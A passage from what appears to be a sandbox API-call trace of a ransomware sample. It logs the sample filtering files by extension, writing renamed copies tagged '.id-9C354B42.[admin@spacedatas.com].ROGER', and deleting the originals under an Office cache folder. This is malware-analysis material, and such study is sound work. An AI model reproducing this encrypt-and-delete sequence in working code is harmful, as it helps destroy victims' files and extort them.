(lpString=".rar") returned 4 [0039.189] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.189] lstrlenW (lpString=".bz2") returned 4 [0039.189] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.189] lstrlenW (lpString=".7z") returned 3 [0039.189] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.189] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0039.189] lstrlenW (lpString=".dbf") returned 4 [0039.189] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.189] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0039.189] lstrlenW (lpString=".1cd") returned 4 [0039.189] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.189] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0039.189] lstrlenW (lpString=".jpg") returned 4 [0039.189] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.189] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0039.189] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0039.190] lstrlenW (lpString=".doc") returned 4 [0039.190] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.190] lstrlenW (lpString=".docx") returned 5 [0039.190] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0039.190] lstrlenW (lpString=".pdf") returned 4 [0039.190] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.190] lstrlenW (lpString=".xls") returned 4 [0039.190] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.190] lstrlenW (lpString=".xlsx") returned 5 [0039.190] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0039.190] lstrlenW (lpString=".ppt") returned 4 [0039.190] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.190] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0039.190] lstrlenW (lpString=".zip") returned 4 [0039.190] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.190] lstrlenW (lpString=".rar") returned 4 [0039.190] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.190] lstrlenW (lpString=".bz2") returned 4 [0039.190] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.190] lstrlenW (lpString=".7z") returned 3 [0039.190] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.190] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0039.190] lstrlenW (lpString=".dbf") returned 4 [0039.190] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.190] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0039.190] lstrlenW (lpString=".1cd") returned 4 [0039.190] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.190] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUI.xml") returned 76 [0039.190] lstrlenW (lpString=".jpg") returned 4 [0039.190] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.190] lstrcmpiW (lpString1=".xml", lpString2=".ROGER") returned 1 [0039.190] lstrlenW (lpString="OfficeMUISet.xml") returned 16 [0039.191] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0039.191] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=819) returned 1 [0039.191] CloseHandle (hObject=0x364) returned 1 [0039.191] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml")) returned 0x2020 [0039.191] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0039.191] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0039.191] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.191] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.191] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0039.194] GetLastError () returned 0x0 [0039.194] ReadFile (in: hFile=0x364, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x333, lpOverlapped=0x0) returned 1 [0039.196] WriteFile (in: hFile=0x360, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0x340, lpOverlapped=0x0) returned 1 [0039.197] ReadFile (in: hFile=0x364, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0039.198] WriteFile (in: hFile=0x360, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0039.198] SetEndOfFile (hFile=0x360) returned 1 [0039.198] CloseHandle (hObject=0x360) returned 1 [0039.198] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.198] SetEndOfFile (hFile=0x364) returned 1 [0039.199] CloseHandle (hObject=0x364) returned 1 [0039.199] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0039.199] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\officemuiset.xml")) returned 1 [0039.200] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0039.200] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0039.200] lstrlenW (lpString=".doc") returned 4 [0039.200] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.200] lstrlenW (lpString=".docx") returned 5 [0039.200] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0039.200] lstrlenW (lpString=".pdf") returned 4 [0039.200] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.200] lstrlenW (lpString=".xls") returned 4 [0039.200] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.200] lstrlenW (lpString=".xlsx") returned 5 [0039.200] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0039.200] lstrlenW (lpString=".ppt") returned 4 [0039.200] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.200] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0039.200] lstrlenW (lpString=".zip") returned 4 [0039.200] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.200] lstrlenW (lpString=".rar") returned 4 [0039.200] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.200] lstrlenW (lpString=".bz2") returned 4 [0039.200] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.200] lstrlenW (lpString=".7z") returned 3 [0039.200] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.200] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0039.200] lstrlenW (lpString=".dbf") returned 4 [0039.200] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.200] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0039.200] lstrlenW (lpString=".1cd") returned 4 [0039.200] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.200] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0039.200] lstrlenW (lpString=".jpg") returned 4 [0039.201] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.201] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0039.201] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0039.201] lstrlenW (lpString=".doc") returned 4 [0039.201] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.201] lstrlenW (lpString=".docx") returned 5 [0039.201] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0039.201] lstrlenW (lpString=".pdf") returned 4 [0039.201] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.201] lstrlenW (lpString=".xls") returned 4 [0039.201] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.201] lstrlenW (lpString=".xlsx") returned 5 [0039.201] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0039.201] lstrlenW (lpString=".ppt") returned 4 [0039.201] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.201] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0039.201] lstrlenW (lpString=".zip") returned 4 [0039.201] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.201] lstrlenW (lpString=".rar") returned 4 [0039.201] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.201] lstrlenW (lpString=".bz2") returned 4 [0039.201] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.201] lstrlenW (lpString=".7z") returned 3 [0039.201] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.201] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0039.201] lstrlenW (lpString=".dbf") returned 4 [0039.201] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.201] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0039.201] lstrlenW (lpString=".1cd") returned 4 [0039.201] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.201] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\OfficeMUISet.xml") returned 79 [0039.201] lstrlenW (lpString=".jpg") returned 4 [0039.201] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.202] lstrcmpiW (lpString1=".chm", lpString2=".ROGER") returned -1 [0039.202] lstrlenW (lpString="pss10r.chm") returned 10 [0039.202] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0040.531] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=27195) returned 1 [0040.531] CloseHandle (hObject=0x360) returned 1 [0040.531] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm")) returned 0x2020 [0040.531] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0040.531] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0040.531] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.531] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.531] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0040.532] GetLastError () returned 0x0 [0040.532] ReadFile (in: hFile=0x360, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x6a3b, lpOverlapped=0x0) returned 1 [0040.686] WriteFile (in: hFile=0x36c, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0x6a40, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0x6a40, lpOverlapped=0x0) returned 1 [0040.688] ReadFile (in: hFile=0x360, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.688] WriteFile (in: hFile=0x36c, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xe8, lpOverlapped=0x0) returned 1 [0040.688] SetEndOfFile (hFile=0x36c) returned 1 [0040.688] CloseHandle (hObject=0x36c) returned 1 [0040.689] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.689] SetEndOfFile (hFile=0x360) returned 1 [0040.690] CloseHandle (hObject=0x360) returned 1 [0040.690] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0040.690] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm" (normalized: "c:\\msocache\\all users\\{90140000-0115-0409-1000-0000000ff1ce}-c\\pss10r.chm")) returned 1 [0040.690] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0040.690] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0040.690] lstrlenW (lpString=".doc") returned 4 [0040.690] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0040.691] lstrlenW (lpString=".docx") returned 5 [0040.691] lstrcmpiW (lpString1=".docx", lpString2="r.chm") returned -1 [0040.691] lstrlenW (lpString=".pdf") returned 4 [0040.691] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0040.691] lstrlenW (lpString=".xls") returned 4 [0040.691] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0040.691] lstrlenW (lpString=".xlsx") returned 5 [0040.691] lstrcmpiW (lpString1=".xlsx", lpString2="r.chm") returned -1 [0040.691] lstrlenW (lpString=".ppt") returned 4 [0040.691] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0040.691] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0040.691] lstrlenW (lpString=".zip") returned 4 [0040.691] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0040.691] lstrlenW (lpString=".rar") returned 4 [0040.691] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0040.691] lstrlenW (lpString=".bz2") returned 4 [0040.691] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0040.691] lstrlenW (lpString=".7z") returned 3 [0040.691] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0040.691] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0040.691] lstrlenW (lpString=".dbf") returned 4 [0040.691] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0040.691] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0040.691] lstrlenW (lpString=".1cd") returned 4 [0040.691] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0040.691] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0040.691] lstrlenW (lpString=".jpg") returned 4 [0040.691] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0040.691] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0040.691] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0040.691] lstrlenW (lpString=".doc") returned 4 [0040.691] lstrcmpiW (lpString1=".doc", lpString2=".chm") returned 1 [0040.691] lstrlenW (lpString=".docx") returned 5 [0040.692] lstrcmpiW (lpString1=".docx", lpString2="r.chm") returned -1 [0040.692] lstrlenW (lpString=".pdf") returned 4 [0040.692] lstrcmpiW (lpString1=".pdf", lpString2=".chm") returned 1 [0040.692] lstrlenW (lpString=".xls") returned 4 [0040.692] lstrcmpiW (lpString1=".xls", lpString2=".chm") returned 1 [0040.692] lstrlenW (lpString=".xlsx") returned 5 [0040.692] lstrcmpiW (lpString1=".xlsx", lpString2="r.chm") returned -1 [0040.692] lstrlenW (lpString=".ppt") returned 4 [0040.692] lstrcmpiW (lpString1=".ppt", lpString2=".chm") returned 1 [0040.692] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0040.692] lstrlenW (lpString=".zip") returned 4 [0040.692] lstrcmpiW (lpString1=".zip", lpString2=".chm") returned 1 [0040.692] lstrlenW (lpString=".rar") returned 4 [0040.692] lstrcmpiW (lpString1=".rar", lpString2=".chm") returned 1 [0040.692] lstrlenW (lpString=".bz2") returned 4 [0040.692] lstrcmpiW (lpString1=".bz2", lpString2=".chm") returned -1 [0040.692] lstrlenW (lpString=".7z") returned 3 [0040.692] lstrcmpiW (lpString1=".7z", lpString2="chm") returned -1 [0040.692] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0040.692] lstrlenW (lpString=".dbf") returned 4 [0040.692] lstrcmpiW (lpString1=".dbf", lpString2=".chm") returned 1 [0040.692] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0040.692] lstrlenW (lpString=".1cd") returned 4 [0040.692] lstrcmpiW (lpString1=".1cd", lpString2=".chm") returned -1 [0040.692] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0115-0409-1000-0000000FF1CE}-C\\pss10r.chm") returned 73 [0040.692] lstrlenW (lpString=".jpg") returned 4 [0040.692] lstrcmpiW (lpString1=".jpg", lpString2=".chm") returned 1 [0040.692] lstrcmpiW (lpString1=".xml", lpString2=".ROGER") returned 1 [0040.693] lstrlenW (lpString="AccessMUISet.xml") returned 16 [0040.693] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0040.693] GetFileSizeEx (in: hFile=0x360, lpFileSize=0x437ff1c | out: lpFileSize=0x437ff1c*=819) returned 1 [0040.693] CloseHandle (hObject=0x360) returned 1 [0040.693] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml")) returned 0x2020 [0040.693] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml.id-9c354b42.[admin@spacedatas.com].roger")) returned 0xffffffff [0040.693] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x360 [0040.693] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.693] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.693] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.id-9C354B42.[admin@spacedatas.com].ROGER" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml.id-9c354b42.[admin@spacedatas.com].roger"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c [0040.694] GetLastError () returned 0x0 [0040.694] ReadFile (in: hFile=0x360, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x333, lpOverlapped=0x0) returned 1 [0040.742] WriteFile (in: hFile=0x36c, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0x340, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0x340, lpOverlapped=0x0) returned 1 [0040.743] ReadFile (in: hFile=0x360, lpBuffer=0x4fa0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x437fed4, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesRead=0x437fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.743] WriteFile (in: hFile=0x36c, lpBuffer=0x4fa0020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x437fc9c, lpOverlapped=0x0 | out: lpBuffer=0x4fa0020*, lpNumberOfBytesWritten=0x437fc9c*=0xf4, lpOverlapped=0x0) returned 1 [0040.743] SetEndOfFile (hFile=0x36c) returned 1 [0040.743] CloseHandle (hObject=0x36c) returned 1 [0040.744] SetFilePointerEx (in: hFile=0x360, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x437fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.744] SetEndOfFile (hFile=0x360) returned 1 [0040.745] CloseHandle (hObject=0x360) returned 1 [0040.745] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml.id-9C354B42.[admin@spacedatas.com].ROGER", dwFileAttributes=0x2020) returned 1 [0040.745] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml" (normalized: "c:\\msocache\\all users\\{90140000-0117-0409-1000-0000000ff1ce}-c\\accessmuiset.xml")) returned 1 [0040.745] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0040.745] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0117-0409-1000-0000000FF1CE}-C\\AccessMUISet.xml") returned 79 [0040.745] lstrlenW (lpString=".doc") returned 4 [0040.745] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.745] lstrlenW (lpString=".docx") returned 5 [0040.745] lstrcmpiW (lpString1=".docx", lpString2="t.xml") returned -1 [0040.745] lstrlenW (lpString=".pdf") returned 4 [0040.746] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.746] lstrlenW (lpString=".xls") returned 4 [0040.746] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.746] lstrlenW (lpString=".xlsx") returned 5 [0040.746] lstrcmpiW (lpString1=".xlsx", lpString2="t.xml") returned -1 [0040.746] 